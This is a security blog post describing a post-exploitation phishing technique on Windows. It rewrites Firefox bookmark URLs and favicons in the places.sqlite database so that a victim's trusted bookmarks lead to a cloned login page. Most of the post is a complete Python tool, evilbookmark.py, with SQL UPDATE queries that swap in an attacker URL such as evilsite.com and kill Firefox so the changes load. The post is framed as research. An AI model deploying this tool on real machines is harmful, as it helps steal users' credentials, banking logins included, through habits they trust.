blog.mkiesel

h├Ącks und so

23. Jan 2022 - Replacing Bookmarks for Fun and Profit

Evil Bookmarks - Abusing User Habits

This is a little post about an email from my bank that led to a post-exploit phishing method, that I haven’t heard of before. Since most environments detect attacks like Man-in-the-Middle or proxy stuff pretty easily, replacing browser bookmarks can be a way to abuse a user’s habits into submitting credentials. I suspect that most users will not look at the URL after clicking a trusted bookmark. Having a valid SSL certificate and a good clone can then be another road to Rome.

 How it Started

This started with a simple e-mail from by bank. It was a yearly reminder of the dos and don’ts of online banking. Since I consider myself pretty educated on that topic I didn’t read it line by line. But one tip they gave scratched that one part of my brain. They said somewhat along:

Never save the online banking URL as a bookmark. Attackers could replace that bookmark with an evil login page or in case of updates the login URL could change.

I never thought about the attack vector of replacing bookmarks “on the fly”. So I did a little research…

 How it Works

Firefox stores a bunch of information like bookmarks, history, or cookies inside an unprotected sqlite3 database. With a simple SQL query, I can find and replace the bookmark URLs. Since Firefox displays the favicons of set sites along the bookmark, a second query is needed to update the favicon URL.

Those databases are located inside your profile folder which on Windows is located at

%APPDATA%\Mozilla\Firefox\Profiles

The bookmarks are stored inside a sqlite3 database called places.sqlite. Inside the database places.sqlite there are many tables. We are interested in the table moz_places. Inside this table there are all the bookmarks and if Firefox is running, all open tabs.

Tablesmoz_places
places.sqlite Tablesplaces.sqlite moz_places Data

To exclude the open tabs you can filter with:

WHERE foreign_count = 1

To replace the URL you run:

UPDATE moz_places WHERE foreign_count = 1 SET url = REPLACE(url,'http://site.com','http://evilsite.com')  

To replace the favicon URL run:

UPDATE moz_places SET preview_image_url = 'http://evilsite.com/icon.png' WHERE foreign_count = 1 AND url LIKE '%http://evilsite.com%'

Firefox only loads the bookmarks at the start. So you either need to wait for your target to close and reopen the browser or kill it yourself.

 Code

python evilbookmark.py -d -b "google.com" -r "duckduckgo.com" -i "https://duckduckgo.com/favicon.ico" -t
import os, subprocess, argparse, sqlite3, psutil, time

args = argparse.ArgumentParser(add_help=False)
args.add_argument("-h", "--help", action="store_true")
args.add_argument("-d", "--default", action="store_true")
args.add_argument("-p", "--profile", type=str, action="store", dest="custom_profile")
args.add_argument("-lp", "--listprofiles", action="store_true")
args.add_argument("-lb", "--listbookmarks", action="store_true")
args.add_argument("-b", "--bookmark", type=str, action="store", dest="bookmark_search")
args.add_argument("-r", "--replace", type=str, action="store", dest="bookmark_replace")
args.add_argument("-i", "--iconurl", type=str, action="store", dest="bookmark_iconurl")
args.add_argument("-t", "--terminate", action="store_true")
args.add_argument("-w", "--wait", action="store_true")
args = args.parse_args()

# help
# -h --help
helptext = """
usage: evilbookmark.py [OPTIONS]

-h, --help              Shows this help text and exit
-d, --default           Use the default Firefox profile
-p, --profile  'NAME'   Use a custom profile
-lp, --listprofiles     List all profiles
-lb, --listbookmarks    List all bookmarks
                        (Requires '-d' or '-p')                        
-b, --bookmark  'URL'   What bookmark to search for, ex. 'http://site.com'
                        (Requires '-d' or '-p' as well as '-r' and '-i') 
-r, --replace   'URL'   URL to be inserted into '-b' ex. 'http://evilsite.com'
                        (Requires '-d' or '-p' as well as '-b' and '-i')
-i, --iconurl   'URL'   Icon URL to be inserted into '-b' ex. 'http://evilsite.com/icon.png'
                        (Requires '-d' or '-p' as well as '-b' and '-r')  
-t, --terminate         Terminates Firefox since bookmarks are only loaded on startup
-w, --wait              Wait for Firefox to close
"""


def check_firefox():
    """
    Check if FireFox installation folder exists
    Returns the full installation path
    """

    print("[*] Checking Firefox installation")
    # the default firefox installation path
    username = os.getenv("USERNAME")
    firefoxpath = f"C:/Users/{username}/AppData/Roaming/Mozilla/Firefox"
    if os.path.exists(firefoxpath):
        print("[+] Firefox installation found")
        return firefoxpath
    else:
        print("[!] No Firefox installation found")
        return False


def list_profiles(firefoxpath):
    """
    Lists all Firefox profiles
    """

    print("[*] Listing all profiles")
    profiles = []
    # getting all files/folders inside profiles
    for entry in os.listdir(firefoxpath + "/profiles/"):
        # we only want folders
        if os.path.isdir(firefoxpath + "/profiles/" + entry):
            profiles.append(entry)
    # if no profiles are found
    if len(profiles) == 0:
        print("[!] No profiles found")
        exit()
    for profile in profiles:
        print(f"[+] {profile}")
    return


def get_profile(firefoxpath):
    """
    Returns the full path of a profile
    """

    # check if user submitted both
    if args.default and args.custom_profile:
        print("[!] Please use '-d' or '-p' and not both")
        print(helptext)
        exit()
    # use default profile
    if args.default:
        profile = get_default_profile(firefoxpath)
        if profile:
            print(f"[+] Using default profile '{profile}'")
            return f"{firefoxpath}/profiles/{profile}"
        else:
            print("[!] No default profile found")
            return False
    elif args.custom_profile:
        print("[*] Checking profile")
        custom_profile = f"{firefoxpath}/profiles/{args.custom_profile}"
        if os.path.exists(custom_profile):
            print(f"[+] Using profile '{args.custom_profile}'")
            return custom_profile
        else:
            print(f"[!] Profile '{args.custom_profile}' not found")
            return False
    else:
        print("[!] Please use '-d' or '-p'")
        print(helptext)
        exit()


def get_default_profile(firefoxpath):
    """
    Get the default profile from the profiles.ini file in the Firefox directory
    Returns the profile folder name
    """

    # check for the ini file
    if not os.path.exists(firefoxpath + "/profiles.ini"):
        return False
    # open the ini file
    with open(firefoxpath + "/profiles.ini") as inifile:
        content = inifile.readlines()
    # iterate thru the lines
    for line in content:
        if "Default=Profiles" in line:
            # format = "Default=Profiles/asdf1234.default" so we split after /
            profile = line.split("/")[1]
            inifile.close()
            # remove the newline at the end
            return profile.replace("\n", "")
    # if line is not found
    inifile.close()
    return False


def list_bookmarks(profile):
    """
    Lists all bookmarks of a profile
    """

    print("[*] Listing all bookmarks")
    # connect to database places.sqlite
    connection = sqlite3.connect(profile + "/places.sqlite")
    # set cursor
    cursor = connection.cursor()
    # table = moz_places
    # since open tabs are also stored in moz_places 'foreign_count = 1' selects only the bookmarks
    query = "SELECT url FROM moz_places WHERE foreign_count = 1 ORDER BY url"
    # execute query
    response = cursor.execute(query)
    for data in response:
        for url in data:
            # print urls
            print(f"[+] {url}")
    # close connection
    cursor.close()
    connection.close()
    return


def search_bookmarks(profile, bookmark):
    """
    Will search for a bookmark inside a profile
    """

    print(f"[*] Searching for bookmarks like '{bookmark}'")
    # connect to database places.sqlite
    connection = sqlite3.connect(profile + "/places.sqlite")
    # set cursor
    cursor = connection.cursor()
    # since open tabs are also stored in moz_places 'foreign_count = 1' selects only the bookmarks
    query = (
        """SELECT url FROM moz_places WHERE foreign_count = 1 AND url LIKE '%"""
        + bookmark
        + """%' ORDER BY url"""
    )
    # execute query
    response = cursor.execute(query)
    for data in response:
        for url in data:
            # print urls
            print(f"[+] {url}")
    # close connection
    cursor.close()
    connection.close()
    return


def replace_bookmarks(profile, bookmark, replacewith):
    """
    Will replace a bookmark inside a profile

    """

    print(f"[*] Replacing '{bookmark}' with '{replacewith}'")
    # connect to database places.sqlite
    connection = sqlite3.connect(profile + "/places.sqlite")
    # set cursor
    cursor = connection.cursor()
    # since open tabs are also stored in moz_places 'foreign_count = 1' selects only the bookmarks
    # UPDATE TABLE SET COLUMN = REPLACE(COLUMN,OLDSTRING,NEWSTRING)
    query = (
        """UPDATE moz_places SET url = REPLACE(url,\'"""
        + bookmark
        + "','"
        + replacewith
        + """') WHERE foreign_count = 1 """
    )
    try:
        # execute query
        cursor.execute(query)
        # commit changes
        connection.commit()
    # on error
    except sqlite3.Error as error:
        print("[!] Query failed")
        # close connection
        cursor.close()
        connection.close()
        return False
    # close connection
    cursor.close()
    connection.close()
    return


def replace_icons(profile, replacewith, iconurl):
    """
    Will replace a icon inside a profile

    """

    print(f"[*] Replacing icon URLs from '{replacewith}' with '{iconurl}'")
    # connect to database places.sqlite
    connection = sqlite3.connect(profile + "/places.sqlite")
    # set cursor
    cursor = connection.cursor()
    # since open tabs are also stored in moz_places 'foreign_count = 1' selects only the bookmarks
    query = (
        """UPDATE moz_places SET preview_image_url = \'"""
        + iconurl
        + """\' WHERE foreign_count = 1 AND url LIKE '%"""
        + replacewith
        + """%\'"""
    )
    try:
        # execute query
        cursor.execute(query)
        # commit changes
        connection.commit()
    # on error
    except sqlite3.Error as error:
        print("[!] Query failed")
        # close connection
        cursor.close()
        connection.close()
        return False
    # close connection
    cursor.close()
    connection.close()
    print("[+] Done")
    return


# kill the firefox process
def terminate():
    print("[*] Terminating Firefox")
    p = subprocess.Popen(
        "taskkill /f /im firefox.exe",
        stderr=subprocess.DEVNULL,
        stdout=subprocess.DEVNULL,
    )
    return


# watcher function
def waitforclose():
    print("[*] Waiting for Firefox to close")
    while "firefox.exe" in (i.name() for i in psutil.process_iter()):
        time.sleep(5)
    print("[+] Firefox not running, executing changes")
    return


def main():
    # show help
    if args.help:
        print(helptext)
        exit()

    # check for windows
    if not (os.name == "nt"):
        print("[!] This script was made for Windows")
        exit()

    # if -lp --listprofiles do only list_profiles and exit
    if args.listprofiles:
        firefoxpath = check_firefox()
        list_profiles(firefoxpath)
        exit()
    # if -lb --listbookmarks do only list_bookmarks and exit
    elif args.listbookmarks:
        firefoxpath = check_firefox()
        profile = get_profile(firefoxpath)
        list_bookmarks(profile)
        exit()

    # check for -t and -w
    if (args.terminate) and (args.wait):
        print("[!] Please only use '-t' or '-w' and not both")
        print(helptext)
        exit()

    # search and replace
    if not (args.listprofiles) or not (args.listbookmarks):
        print("[*] Preparing to search and replace")
        # check if -b, -r or -i empty
        if (
            not (args.bookmark_search)
            or not (args.bookmark_replace)
            or not (args.bookmark_iconurl)
        ):
            print("[!] Please use '-b', '-r' and '-i'")
            print(helptext)
            exit()
        # get firefox path
        firefoxpath = check_firefox()
        # get profile path
        profile = get_profile(firefoxpath)
        # check if bookmarks exists
        search_bookmarks(profile, args.bookmark_search)
        # if user wanted to wait we wait here
        if args.wait:
            waitforclose()
        # replace bookmarks
        replace_bookmarks(profile, args.bookmark_search, args.bookmark_replace)
        # replace icon url
        replace_icons(profile, args.bookmark_replace, args.bookmark_iconurl)
        # terminate firefox if selected
        if args.terminate:
            terminate()


if __name__ == "__main__":
    main()